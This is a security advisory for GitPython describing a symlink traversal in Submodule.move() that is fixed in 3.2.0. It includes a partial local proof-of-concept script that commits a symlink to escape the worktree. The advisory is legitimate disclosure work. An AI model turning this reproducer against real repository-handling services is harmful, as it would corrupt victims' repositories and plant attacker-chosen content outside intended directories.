GitHub Advisoryadvisory · PyPI
GHSA-gq48-pqfc-9p58 GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree
MEDIUM
Official page ↗
- Ecosystem
- PyPI
- Packages
- GitPython
- Severity
- Moderate
- Weaknesses
- CWE-22, CWE-59
- Reviewed
- 2026-10-27
Affected packages
• PyPI GitPython: < 3.2.0 → fixed in 3.2.0
Description
Summary
GitPython's public `Submodule.move()` API verifies that its destination is lexically inside the parent repository, but it does not reject symbolic links in the destination's intermediate components before filesystem operations. On systems that check out Git symlinks, an untrusted repository can therefore redirect a fixed, application-selected move destination outside the parent worktree.
The reporter reproduced this on the latest release, GitPython 3.1.62, and current `main`. In the strict scenario, the repository commits `vendor -> ../outside`, while the consuming application independently passes the fixed literal `vendor/module`. `Submodule.move()` follows `vendor`, moves the initialized submodule checkout to `outside/module`, rewrites `.gitmodules` and the index to the symlinked path, and leaves the index unable to produce a tree.
The same result occurs when the committed symlink contains an absolute path to an external directory. No attacker-controlled API argument, local symlink planting, race, Git hook, unsafe-option flag, or network access during the proof is required.
Trust boundary and preconditions
The attacker controls:
• an untrusted Git repository that the application clones;
• a mode-`120000` tracked symlink named `vendor`;
• the initialized submodule's content.
The consuming application controls the call and uses a fixed layout rule:
```python
submodule.move("vendor/module")
```
The trigger requires the application to initialize the submodule and later call `Submodule.move()` with a path below the attacker-committed symlink. Ordinary clone or submodule update does not automatically make this call. Windows was not tested. The primitive applies where Git materializes the tracked entry as a real symlink; on Windows that generally requires `core.symlinks=true` with Developer Mode or sufficient privilege. Configurations that materialize it as an ordinary file do not take this path.
Product and directly verified revisions
• Package: `GitPython` (`pip` ecosystem)
• Latest release: 3.1.62, tag commit `db47516dac750c5968b8f6d388b18712c355df50`
• Current `main`: `b62e91be897f687a622e40cd1e59c33dce45f124`
• Relevant `git/objects/submodule/base.py` SHA-256 in both revisions: `a4355d49e0b75c7c7e74d33ac70ff9550f940c977848c99da40eb41e034b189c`
• Upstream state rechecked: 2026-09-10 KST
Only these two revisions were directly tested.
Severity and weakness
The demonstrated impact is an integrity boundary violation: repository content selects an existing directory outside the worktree, and GitPython moves an attacker-influenced checkout into a missing or empty child path there with the victim process's permissions. It also removes the original checkout and corrupts the parent repository's index/configuration state.
For a downstream service that remotely accepts repositories and performs this exact layout operation with user involvement retained, `AV:N` gives a conditional application-level score of 7.1. A fully automatic service may warrant a different `UI` assessment. The library report uses `AV:L` because the vulnerable API call is a separate application action and is not part of GitPython's ordinary clone/update flow.
No confidentiality impact, code execution, overwrite of an existing file, or overwrite of a non-empty directory was demonstrated.
Reproducer
The following script creates only temporary local repositories and a self-generated canary. It passes `protocol.file.allow=always` separately with `-c` on each fixture Git invocation; that permission is process-scoped and is not persisted to global or repository configuration.
Run it from a fresh source checkout:
```bash
git clone --depth 1 --branch 3.1.62 https://github.com/gitpython-developers/GitPython.git
python3 poc.py /path/to/GitPython
python3 poc.py --absolute-link /path/to/GitPython
```
`--absolute-link` commits the temporary external directory's absolute path instead of `../outside`.
```python
!/usr/bin/env python3
"""Local-only reproducer for GitPython Submodule.move() symlink traversal."""
from __future__ import annotations
import argparse
import json
import subprocess
import sys
import tempfile
from pathlib import Path
from typing import Optional
def run_git(
*args: str, cwd: Optional[Path] = None, check: bool = True
) -> subprocess.CompletedProcess:
command = [
"git",
"-c",
"user.name=GitPython security fixture",
"-c",
"[email protected]",
"-c",
"protocol.file.allow=always",
*args,
]
return subprocess.run(command, cwd=cwd, check=check, text=True, capture_output=True)
def read_core_worktree(parent) -> str:
module_config = Path(parent.git_dir) / "modules" / "logical-name" / "config"
return parent.git.config("--file", str(module_config), "--get", "core.worktree")
def read_gitmodules_path(parent) -> str:
modules_file = Path(parent.working_tree_dir) / ".gitmodules"
return parent.git.config(
"--file", str(modules_file), "--get", "submodule.logical-name.path"
)
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("source_root", type=Path, help="GitPython source checkout")
parser.add_argument(
"--absolute-link",
action="store_true",
help=(
"Use the temporary external directory's absolute path as the committed "
"symlink target"
),
)
args = parser.parse_args()
source_root = args.source_root.resolve()
# The tested GitPython source trees include gitdb and smmap at their roots.
sys.path[:0] = [
str(source_root),
str(source_root / "gitdb"),
str(source_root / "smmap"),
]
import gitdb # pylint: disable=import-outside-toplevel
import smmap # pylint: disable=import-outside-toplevel
from git import Repo # pylint: disable=import-outside-toplevel
with tempfile.TemporaryDirectory(prefix="gitpython-move-poc-") as temporary:
root = Path(temporary)
module_source = root / "module-source"
attacker = root / "attacker-parent"
victim = root / "victim-parent"
outside = root / "outside"
run_git("init", "--quiet", str(module_source))
(module_source / "SELF_GENERATED_CANARY.txt").write_text(
"SELF_GENERATED_CANARY\n", encoding="utf-8"
)
run_git("add", "SELF_GENERATED_CANARY.txt", cwd=module_source)
run_git("commit", "--quiet", "-m", "fixture", cwd=module_source)
outside.mkdir()
run_git("init", "--quiet", str(attacker))
run_git(
"submodule",
"add",
"--quiet",
"--name",
"logical-name",
str(module_source),
"module",
cwd=attacker,
)
link_target = str(outside.resolve()) if args.absolute_link else "../outside"
(attacker / "vendor").symlink_to(link_target, target_is_directory=True)
run_git("add", ".gitmodules", "module", "vendor", cwd=attacker)
run_git("commit", "--quiet", "-m", "attacker-controlled layout", cwd=attacker)
run_git("clone", "--quiet", str(attacker), str(victim))
run_git("submodule", "update", "--init", "--quiet", cwd=victim)
parent = Repo(victim)
submodule = parent.submodule("logical-name")
before = {
"status": parent.git.status("--porcelain"),
"write_tree": parent.git.write_tree(),
"vendor_index": parent.git.ls_files("--stage", "vendor"),
"index_paths": parent.git.ls_files().splitlines(),
"gitmodules_path": read_gitmodules_path(parent),
"source_canary": (victim / "module" / "SELF_GENERATED_CANARY.txt").exists(),
"external_canary": (
outside / "module" / "SELF_GENERATED_CANARY.txt"
).exists(),
"module_core_worktree": read_core_worktree(parent),
}
error = None
…
Related
References
- https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-gq48-pqfc-9p58 web
- https://github.com/gitpython-developers/GitPython/pull/2232 web
- https://github.com/gitpython-developers/GitPython/commit/24b6f95d4b90ab1483fb601c736ac6e7c059cd61 web
- https://github.com/gitpython-developers/GitPython package
- https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0 web